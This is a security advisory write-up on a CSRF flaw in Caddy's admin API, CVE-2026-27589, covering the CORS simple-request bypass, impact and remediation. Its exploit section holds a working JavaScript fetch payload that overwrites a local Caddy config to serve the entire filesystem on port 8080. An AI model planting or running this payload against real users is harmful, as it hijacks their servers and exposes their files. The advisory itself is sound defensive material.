CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27589
6.90.04%

Localhost is a Lie: Caddy Admin API CSRF (CVE-2026-27589)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·6 visits

PoC Available

Executive Summary (TL;DR)

Caddy's admin API (port 2019) didn't validate the Origin header. A malicious website can force your browser to send a POST request to 127.0.0.1, overwriting your server config with one controlled by the attacker. Fix: Upgrade to v2.11.1.

A critical Cross-Site Request Forgery (CSRF) vulnerability in Caddy Web Server's administrative API allows remote attackers to silently overwrite the running configuration of a locally running server. By leveraging 'Simple Requests' to bypass CORS preflight checks, a malicious website can force a developer's browser to POST a new config to localhost:2019, effectively seizing control of the server.

The False Sense of Security

We all do it. We spin up a service on 127.0.0.1, see that it's not listening on 0.0.0.0, and assume we are safe in our little fortress of solitude. Caddy, the web server famous for being "secure by default" thanks to its automatic HTTPS, fell into a classic trap with its administrative API. By default, Caddy listens on port 2019 for configuration updates. This is how you reload Caddy without downtime.

The vulnerability here isn't a buffer overflow or a complex logic error; it's a fundamental misunderstanding of how the web works. Developers often treat localhost as a boundary that the outside internet cannot touch. But to a web browser, localhost is just another origin. If you visit evil-site.com while Caddy is running on your machine, evil-site.com cannot read data from your local Caddy instance (thanks to Same-Origin Policy), but it can absolutely send data to it.

CVE-2026-27589 exploits this write-only access. It turns the browser into a confused deputy, instructing it to fire a massive JSON payload at the local admin port. Since Caddy didn't bother checking the return address (the Origin or Host headers), it happily accepts the package, assuming it came from the system administrator. It's the digital equivalent of accepting a package bomb just because it was delivered by your own mailman.

The Mechanism: CORS, Content-Types, and Lies

To understand why this works, you have to understand the "Simple Request" loophole in CORS (Cross-Origin Resource Sharing). Normally, if a website tries to POST JSON data to a different origin, the browser sends an OPTIONS request first (the Preflight). If the server doesn't explicitly allow it, the actual POST never happens. Caddy is a Go application; it doesn't just open everything up to CORS by default.

So how does the exploit land? The trick is the Content-Type. If an attacker sends the request as application/json, the browser triggers a preflight. But if the attacker lies and says the content is text/plain or application/x-www-form-urlencoded, the browser treats it as a "Simple Request" and sends the POST immediately without a preflight.

Here is where the Go standard library works against us. Caddy's config loader reads the body of the request. It doesn't strictly enforce that the Content-Type header matches the body format. It just takes the stream of bytes and feeds it to a JSON decoder. The decoder doesn't care about headers; it sees valid JSON brackets and parses them. This allows the attacker to bypass the browser's safety checks entirely.

The Smoking Gun: Code Analysis

Let's look at the logic inside admin.go prior to the patch. The handler for the load endpoint was terrifyingly optimistic. It essentially said, "If I received a request, process it."

// Vulnerable logic pseudo-code
func (h *adminHandler) handleLoad(w http.ResponseWriter, r *http.Request) {
    // No check for Origin
    // No check for Host
    // No CSRF token validation
 
    // Read the body
    config, err := io.ReadAll(r.Body)
    if err != nil { ... }
 
    // Apply config
    err = caddy.Load(config, true)
}

The fix, introduced in commit 65e0ddc2 (and others), adds explicit origin enforcement. It also introduces a clever mechanism to track the source of the configuration. If the config comes from an API call (like a CSRF attack), Caddy now recognizes that the running state effectively diverges from the disk state.

> [!NOTE] > The patch introduces ClearLastConfigIfDifferent. If the request headers don't contain specific metadata (which a browser cannot spoof easily), Caddy clears its internal pointer to the config file, preventing it from blindly reloading a compromised state later.

Exploit: Drive-By Configuration

Constructing the exploit is trivial. We don't need fancy tools; we just need a hidden HTML form or a simple fetch command on a malicious page. The goal is to replace the victim's Caddy configuration with one that serves a malicious payload or opens a reverse shell via a sidecar.

Here is a realistic PoC that an attacker might embed in a hidden iframe on a high-traffic site:

// The payload: A Caddy config that opens a file server on port 8080
// pointing to the root of the drive (if permissions allow)
const maliciousConfig = {
  "apps": {
    "http": {
      "servers": {
        "stealer": {
          "listen": [":8080"],
          "routes": [{
            "handle": [{
              "handler": "file_server",
              "root": "/"
            }]
          }]
        }
      }
    }
  }
};
 
// The trigger using text/plain to bypass CORS preflight
fetch('http://127.0.0.1:2019/load', {
  method: 'POST',
  mode: 'no-cors', // Opaque response, we don't need to read the reply
  headers: {
    'Content-Type': 'text/plain' // The lie that enables the attack
  },
  body: JSON.stringify(maliciousConfig)
});

When the victim loads the page, the browser fires the POST. Caddy accepts the text/plain body, parses the JSON inside it, and reloads. Instantly, the developer's local web server is replaced by the attacker's configuration.

Impact: From Nuisance to Compromise

The impact goes beyond just "defacing" a local server. Since Caddy is often used as a reverse proxy for internal services or as a local development environment, an attacker can effectively hijack network traffic.

  1. Traffic Redirection: The attacker can reconfigure Caddy to proxy localhost:80 requests to a phishing site, stealing local development credentials.
  2. Internal Scanning: By configuring Caddy to reverse-proxy to other internal IPs, the attacker can use the victim's machine as a pivot point to map the internal network, bypassing firewalls.
  3. Denial of Service: Overwriting the config with garbage or binding to ports that cause conflicts can crash the service or render it unusable.

The most subtle danger is Persistence via Confusion. If the attacker overwrites the config in memory, the developer might not notice until they try to reload the service and realize their local Caddyfile is being ignored or behaves erratically.

Remediation: Trust No One

The fix in version 2.11.1 is robust. It defaults to strictly enforcing the Origin header. If the Origin does not match the listener address (e.g., 127.0.0.1:2019), the request is rejected. This kills the browser-based attack vector immediately because browsers essentially force the Origin header to be the malicious domain.

Immediate Actions:

  1. Update Caddy: Move to v2.11.1 or later immediately.
  2. Configuration Hardening: If you cannot update, modify your admin config to enforce origins manually:
{
  "admin": {
    "enforce_origin": true,
    "origins": ["127.0.0.1:2019"]
  }
}

This vulnerability serves as a grim reminder: relying on network perimeter (even the localhost perimeter) is insufficient. Authentication and Origin validation must happen at the application layer, regardless of where the packet is coming from.

Official Patches

CaddyOfficial GitHub Security Advisory

Fix Analysis (2)

Technical Appendix

CVSS Score
6.9/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Caddy Web Server < v2.11.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
Caddy
CaddyServer
< 2.11.12.11.1
AttributeDetail
CWECWE-352 (CSRF)
Attack VectorNetwork (Drive-by)
CVSS v4.06.9 (Medium)
ImpactHigh Integrity (Config Overwrite)
Exploit StatusPoC Available
Bypass MethodCORS Simple Request (text/plain)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1565.001Data Manipulation: Stored Data Manipulation
Impact
CWE-352
Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Known Exploits & Detection

GitHubDeterministic PoC archive containing reproduction steps and Makefile

Vulnerability Timeline

Initial source tracking logic committed
2025-09-26
Vulnerability Disclosed & Patch Released (v2.11.1)
2026-02-24

References & Sources

  • [1]Caddy v2.11.1 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.